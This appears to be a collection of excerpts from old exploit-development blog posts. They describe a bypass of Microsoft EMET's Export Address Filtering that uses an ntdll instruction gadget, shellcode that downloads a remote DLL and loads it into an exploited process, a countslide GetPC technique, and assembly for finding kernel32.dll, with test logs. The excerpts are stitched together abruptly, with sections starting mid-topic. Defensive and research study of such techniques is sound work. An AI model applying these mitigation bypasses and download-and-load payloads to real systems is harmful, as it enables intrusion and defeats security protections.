The size of the shellcode is 242 bytes (add 5 for stack alignment and 39 for EAT bypass). It has all the usual bells and whistles: OS/SP independent, null-free, optional stack alignment and EAT bypass and no register requires a specific value for it to run correctly.

Get the code here.

In early September this year Microsoft released their Enhanced Mitigation Experience Toolkit v2.0 (EMET), which includes a new “pseudo”-mitigation called Export address table Address Filter (EAF). I decided to have a look at how this mitigation attempts to prevent exploits from succeeding and how an attacker might bypass it. For people that suffer from tl;dr syndrome, I’ve put my conclusion up front:

It is my conclusion that EAF should be effective at preventing most current shellcode from executing and therefore a useful mitigation. However, it is relatively simple to bypass. Proof of concept code to do this can be found here. I expect that if EAF becomes a common mitigation, attackers will update their shellcodes to bypass it. I cannot think of any effective way in which EAF can be updated that would not be relatively simple to bypass as well.

EAF works by setting a hardware breakpoint on the export address tables of the ntdll.dll and kernel32.dll modules in a process. When the breakpoint is triggered, EAF determines if the code that is trying to access the export address table is valid code for that process or malicious code injected into the process through an exploit. Most exploits will at some point inject and run shellcode into the target process. One of the first thing most shellcodes do is determine where certain functions are loaded in memory. This is commonly and easiest done by going through the list of loaded modules and reading their export address tables. When shellcode reads the export address tables of ntdll.dll and/or kernel32.dll, EAF detects the shellcode and terminates the process, preventing the exploit from running successfully.

I tested EAF withone of my shellcodes that shows a message in a popup window when it runs successfully. All my shellcodes scan the export address tables of loaded modules to find certain functions. This is a common technique used by almost all shellcodes that EAF is designed to detect. So, enabling EAF should prevent my shellcode, and most others, from working.

I use testival to test my shellcode because it makes things easy to automate and I can copy+paste the output into this blog to show you what is going on. When my shellcode is run, it shows a popup dialog box and then triggers an int3 debugger breakpoint. Here’s the output of w32-testival.exe for a successful run of my shellcode:

C:\Dev\Shellcode\w32-msgbox-shellcode>w32-testival [$]=ascii:w32-msgbox-shellcode.bin eip=$ --verbose --eh --eh
Allocating 0x1000 bytes of memory... ok. (address: 0x00030000)
Setting data and registers:
[0x00030000] = 8C bytes of data.
eax = 0xDEADBEEF (default)
ecx = 0xDEADBEEF (default)
edx = 0xDEADBEEF (default)
ebx = 0xDEADBEEF (default)
esp = ??? (unmodified)
ebp = 0xDEADBEEF (default)
esi = 0xDEADBEEF (default)
edi = 0xDEADBEEF (default)
eip = 0x00030000 ($)
Registering Structured Exception Handler (SEH)...ok.
Registering Vectored Exception Handler (VEH)...ok.
Executing shellcode by jumping to 0x00030000...First chance debugger breakpoint exception at 0x0003008B.
Second chance debugger breakpoint exception at 0x0003008B.
 
C:\Dev\Shellcode\w32-msgbox-shellcode>
 

Of course, you cannot see the popup dialog box in this output, but you can see that the int3 debugger breakpoint at the end of the shellcode was executed. This means that it ran successfully.

After enabling EAF I tried executing the shellcode again and found that it still worked. So either EAF was not working or I was doing something wrong. I contacted my friends at MS who developed the tool and asked them to help me find out what was going on. They explained that in order to install the EAF mitigation, EMET needs to create a new thread in the process first, which means the mitigation is not enabled immediately on startup. To make sure that the mitigation is installed, you need to wait a bit before running your shellcode. So, I added a new switch to testival that allows it to wait a given number of milliseconds before executing the shellcode. Using this new feature, I tried again and this time EAF successfully blocked my shellcode, as you can see here:


C:\Dev\Shellcode\w32-msgbox-shellcode>w32-testival [$]=ascii:w32-msgbox-shellcode.bin eip=$ --verbose --eh --eh --delay=1000
Allocating 0x1000 bytes of memory... ok. (address: 0x00030000)
Setting data and registers:
[0x00030000] = 8C bytes of data.
eax = 0xDEADBEEF (default)
ecx = 0xDEADBEEF (default)
edx = 0xDEADBEEF (default)
ebx = 0xDEADBEEF (default)
esp = ??? (unmodified)
ebp = 0xDEADBEEF (default)
esi = 0xDEADBEEF (default)
edi = 0xDEADBEEF (default)
eip = 0x00030000 ($)
Registering Structured Exception Handler (SEH)...ok.
Registering Vectored Exception Handler (VEH)...ok.
Waiting for 1000 milliseconds...ok.
Executing shellcode by jumping to 0x00030000...First chance single step exception at 0x00030054: A trace trap or other single-instruction mechanism signaled that one instruction has been executed.
Second chance exception 0xC0000409 at 0x00030054.
 
C:\Dev\Shellcode\w32-msgbox-shellcode>
 

This time the process is terminated early by a single step exception. This is because the EAF mitigation has detect that the shellcode accessed the export address table and decided to terminate the application rather than allow the shellcode to continue executing. This shows that EAF should be able to detect and protect against exploits that use most common shellcode.

I decided not to reverse EAF in order to find out how it works, but rather try to guess how it works and guess how it might by bypassed and try if it works. I assumed that EAF works by checking the location of the instruction that is accessing the export address table: if it is located inside the code segment of a loaded module, EAF assumes it is valid code and allowed it to continue. Otherwise, EAF assumes it is malicious code and terminates the process. If my hypothesis is correct, it might be possible to have the shellcode use a sequence of instructions inside the code segment of a loaded module that can be used to read memory. Because in this case, EAF will assumes that valid code is attempting to read the export address table rather than my shellcode and allow the code to continue.

To test this, I created a modified version of my shellcode that works like this:

• First, the shellcode finds out where ntdll.dll is loaded in memory as usual.
• Second, it finds out where the code segment for ntdll.dll is located.
• Third, it scans the code segment for a specific instruction sequence that can be used to read arbitrary memory.
• Finally, it calls this instruction sequence to read the export address table, rather than read it directly.

This is effectively the same as doing a ret-into-libc attack, something which EAF is not designed to block and this should therefore be able to bypass it. It turns out that the RtlGetCurrentPeb function has a useful instruction sequence. This sequence is static across Windows versions and SPs and exactly 4 bytes long, which means it is easy to write code to find it:

ntdll32!RtlGetCurrentPeb:
64a118000000 mov eax,dword ptr fs:[00000018h]
8b4030 mov eax,dword ptr [eax+30h]
c3 ret
 

By setting EAX to the memory address you want to read (minus 0×30) and calling the second instruction, you can read arbitrary memory into EAX.

The first time I tested my code, it was blocked by EAF while scanning for the instruction sequence in the code segment. It turns out that the export address table is located at the start of the code segment of ntdll.dll, so my scan for the instruction sequence was accessing it and triggering EAF. Luckily, the RtlGetCurrentPeb function is not located anywhere near the start of the code segment in any version of ntdll.dll, so it was relatively easy to avoid this by skipping over the first 0×1000 bytes of the code segment.

Here is the result for my modified shellcode, which is only 30 bytes larger than the original:

C:\Dev\Shellcode\w32-msgbox-shellcode>w32-testival [$]=ascii:w32-msgbox-shellcode-eaf.bin eip=$ --verbose --eh --eh --delay=1000
Allocating 0x1000 bytes of memory... ok. (address: 0x00030000)
Setting data and registers:
[0x00030000] = AB bytes of data.
eax = 0xDEADBEEF (default)
ecx = 0xDEADBEEF (default)
edx = 0xDEADBEEF (default)
ebx = 0xDEADBEEF (default)
esp = ??? (unmodified)
ebp = 0xDEADBEEF (default)
esi = 0xDEADBEEF (default)
edi = 0xDEADBEEF (default)
eip = 0x00030000 ($)
Registering Structured Exception Handler (SEH)...ok.
Registering Vectored Exception Handler (VEH)...ok.
Waiting for 1000 milliseconds...ok.
Executing shellcode by jumping to 0x00030000...First chance single step exception at 0x76FBA045: A trace trap or other single-instruction mechanism signaled that one instruction has been executed.
First chance single step exception at 0x76FAFFCE: A trace trap or other single-instruction mechanism signaled that one instruction has been executed.
First chance single step exception at 0x76FAFFCE: A trace trap or other single-instruction mechanism signaled that one instruction has been executed.
First chance single step exception at 0x76FAFFCE: A trace trap or other single-instruction mechanism signaled that one instruction has been executed.
<snip>(Many more single step exceptions)<snip>
First chance single step exception at 0x76FAFFCE: A trace trap or other single-instruction mechanism signaled that one instruction has been executed.
First chance debugger breakpoint exception at 0x000300AA.
Second chance debugger breakpoint exception at 0x000300AA.
 
C:\Dev\Shellcode\w32-msgbox-shellcode>
 

Every time the export address table is accessed, the hardware breakpoint is triggered and EAF checks to see if shellcode is attempting to access it. This is why you are seeing so may first change single step exceptions. However, because I am using the instruction sequence in ntdll.dll to access the address table, EAF allows the code to continue. The shellcode runs successfully and the process terminates when the shellcode executes the int3 debugger breakpoint as before.

Have a look at the changes I made to my shellcode to make this work. They are relatively minor and it should be possible to apply this technique to any shellcode, which reduces the usefulness of EAF in the long run.

I thought about possibilities to prevent or detect this bypass. Unfortunately, I could not think of anything that would be effective. Here are some of my ideas and why I think they won’t work:
- EAF could check for this specific instruction sequence. However, shellcode could scan for other sequences in ntdll.dll (or even in other modules) that can be used to achieve the same.
- EAF could “walk the stack” and check that all return addresses are valid. However, the shellcode could construct a ret-into-libc stack with only valid return addresses, where the first call reads the export address table and the next call modifies the return address for the third return address to point to the shellcode again.
- EAF could set additional hardware breakpoints on structures that can be used to find the locations of modules, in an attempt to prevent the shellcode from finding an instruction sequence that it can use to read memory. However, there are a large number of ways in which the location of modules can be found and there are a limited number of hardware breakpoints. There are not enough breakpoints available to protect all of locations that contain sensitive data.

I welcome your thoughts and ideas on this subject.

I hacked the code together in 30 minutes based on my calc.exe shellcode, so it can probably be optimized a bit more. I haven’t tested it thoroughly, but it works on Windows 7 for me.

• You need to create an .exe file on the system, which will very likely draw unwanted attention.
• You cannot use an API that downloads your file to a temporary location, because that will likely not retain the .exe extention.
• You need to make an assumption about where a safe place is to write your .exe file, which means you can guess wrong and the code fails.
• You need to store the string ‘.exe’ in the download & execute shellcode, which means this is 4 bytes larger.
• You need to spawn an extra process, which will very likely draw attention.
• You leave cleaning up the exploited process to the download & execute shellcode, which means this needs to be larger.

To get around these problems, I created download and LoadLibrary shellcode: a shellcode that will download a DLL file to a temporary file and load it into the exploited process using LoadLibrary. The benefits of this approach are:

• Smaller code.
• You can use the URLDownloadToCacheFileA API function in urlmon that downloads and saves your DLL to a temporary file, meaning you do not need to provide a location.
• No need to create an .exe file on the system: the extention of a DLL is irrelevant.
• No need to spawn an extra process.
• You can clean up the exploited process from the code in the DLL instead of the shellcode.

The size of the final shellcode depends on the length of the URL for your DLL. For most recent version of the code it is 138 bytes + the length of the URL. This is a pretty decent reduction from the average download and execute shellcodes of 200+ bytes (excluding the URL) that I found around the interwebs.

Project homepage:
http://code.google.com/p/w32-dl-loadlib-shellcode/

The Testival project aims to do all those things and more: it also allows you to test ret-into-libc attacks, set the type of memory allocation you want (RWE flags, etc…), report exceptions in your code to stdout as well as load DLLs to test shellcode in DllMain.

Testival is used by ALPHA3 for automatically testing if all the en-/decoders work.

Testival requires SkyBuild to automatically build all files.

• Project page
• SVN repository (read-only)
• Download

It has been developed and tested on Windows, but it should not be to hard to get it to run on other platforms. If you are having difficulty on other platforms and manage to create patches to fix this, please let me know and/or become a commiter to the project!

PS. My appologees for my lack of 1337 Python coding skills to whomever gets to port it to Metasploit – I did this project in Python while I was learning the language

Countslide GetPC is a new technique that I developed to allow the use of nopslides and determine exactly where your shellcode is if you can roughly predict where it will be located in memory.

Given a range of addresses A_min – A_max in which you can predict your shellcode to start, we will calculate the average address A_avg and the maximum absolute deviation D_max like so:
Aavg == (Amin + Amax) / 2
Dmax == (Amax – Amin) / 2
 

Using a nopslide of length D_max * 2 starting at an address in this range and a return address of A_avg + D_max will always cause the nopslide to get hit and thus the code at the end of the nopslide to get executed:

Aavg

Aavg – Dmax

Aavg + Dmax

D = -Dmax

Nopslide

code

O = 2 * Dmax

D = X

Nopslide

code

O = Dmax – X

D = +Dmax

Nopslide

code

O = 0

Return address

In this example, the actual deviation D from A_avg indicates where the exploit actually ends up jumping to. The base address of the nopslide A_nop plus the offset in the nopslide where execution starts O are equal to the return address A_avg + D_max:

Anop + O == Aavg + Dmax
 

Because A_avg and D_max are values we predict, we can calculate the base address A_nop of the nopslide if we can calculate O. And because we know the length of the nopslide is D_max * 2, we can calculate the base address of the code that follows the nopslide A_patcher as well:

Anop == Aavg + Dmax – O
Apatcher == Aavg + Dmax * 3 – O
 

So, any address A_avg + D_max * 3 + X will be in the code that follows the nopslide at offset O + X (if that code is large enough). We can choose to overwrite a byte at that address to modify the code following the nopslide. Which byte of the code gets modified depends entirely on the value of O. This means that the value of O can directly influence what our code does and this is what we use to calculate the value of O.

A small piece of code which I will call the patcher of length P is put after the nopslide followed by a second nopslide of length D_max * 2 which I will call the countslide. When executed, the patcher overwrites a byte in the countslide at address A_avg + D_max * 3 + P (the modification address), which is always inside the countslide. Here’s an example:

Anop + Dmax * 2 + P

Anop

Anop + Dmax * 2

Anop + Dmax * 4 + P

Nopslide

patcher

countslide

Anop + O

Anop + O + P + Dmax * 2

Aavg + Dmax

Aavg + Dmax * 3 + P

Return address

Modification address

The countslide will consist entirely of one byte INC ECX instructions. The patcher will overwrite one byte at the predictable address A_avg + D_max * 3 + P with a one byte POP ECX instruction. It then stores the predictable value A_avg + D_max * 3 + P + 1 on the stack after which the countslide is executed.

Here is what will happen after the exploit makes code jump to address A_avg + D_max in the nopslide:

• the nopslide executes until it reaches the patcher,
• the patcher modifies the countslide at A_avg + D_max * 3 + P,
• the patcher saves the value A_avg + D_max * 3 + P + 1 on the stack, after which the countslide is executed,
• the countslide increments ECX over and over, acting like a normal nopslide, until it runs into the patched POP ECX,
• the POP ECX instruction pops the value A_avg + D_max * 3 + P + 1, saved there by the patcher, off the stack into ECX.
• the countslide then continues to increment ECX for every one byte instruction it executes, until it reaches its end.

The number of INC ECX instructions executed in the countslide after the POP ECX N_inc depends on D_max and O as follows:

Ninc == Dmax * 2 – O – 1
 

So, taking into account that the POP ECX sets ECX to A_avg + D_max * 3 + P + 1, after the countslide has completely been executed, the value in ECX will be:

ECX == Aavg + Dmax * 3 + P + 1 + Ninc
ECX == Aavg + Dmax * 5 + P – O
 

And because A_nop + O == A_avg + D_max, this means the value in ECX is:

ECX == Anop + Dmax * 4 + P
 

Which, as you can see in the second diagram above, is exactly where our countslide ends, so at this point ECX == EIP. The countslide is followed by the shellcode, which can use ECX as the source of its base address.

*UPDATE*: ALPHA3 comes with a working version of Countslide mixedcase alphanumeric ascii GetPC for x86.

w32-bind-ngs-shellcode is hosted on Google code here.

SkyBuild also includes py2cmd, which can be used to convert a .py script to a .cmd script (that runs itself as a Python script using python.exe. This saves you having to type “.py” after the name of the script. I myself use it to convert “build.py” to “build.cmd“, so I can just type “build” to build my projects.

SkyBuild is hosted on Google code here.

I’ve create a solution to this problem that should be able to find kernel32.dll on all versions of Windows with minimal code size increase. It works by walking the “InInitializationOrder” list mentioned above and checking the length of the name of the module: the Unicode string “kernel32.dll” has a terminating 0 as the 12th character. From my (limited) testing, it seems that scanning for a 0 as the 24th byte in the name allows the code to find kernel32.dll correctly.

More details can be found here.

The code:

    XOR     ECX, ECX                    ; ECX = 0
    MOV     ESI, [FS:ECX + 0x30]        ; ESI = &(PEB) ([FS:0x30])
    MOV     ESI, [ESI + 0x0C]           ; ESI = PEB->Ldr
    MOV     ESI, [ESI + 0x1C]           ; ESI = PEB->Ldr.InInitOrder
next_module:
    MOV     EBP, [ESI + 0x08]           ; EBP = InInitOrder[X].base_address
    MOV     EDI, [ESI + 0x20]           ; EBP = InInitOrder[X].module_name (unicode)
    MOV     ESI, [ESI]                  ; ESI = InInitOrder[X].flink (next module)
    CMP     [EDI + 12*2], CL            ; modulename[12] == 0 ?
    JNE     next_module                 ; No: try next module.
 


NB. See the comments for a problem (and solution) on Win2K targets courtesy of aniway.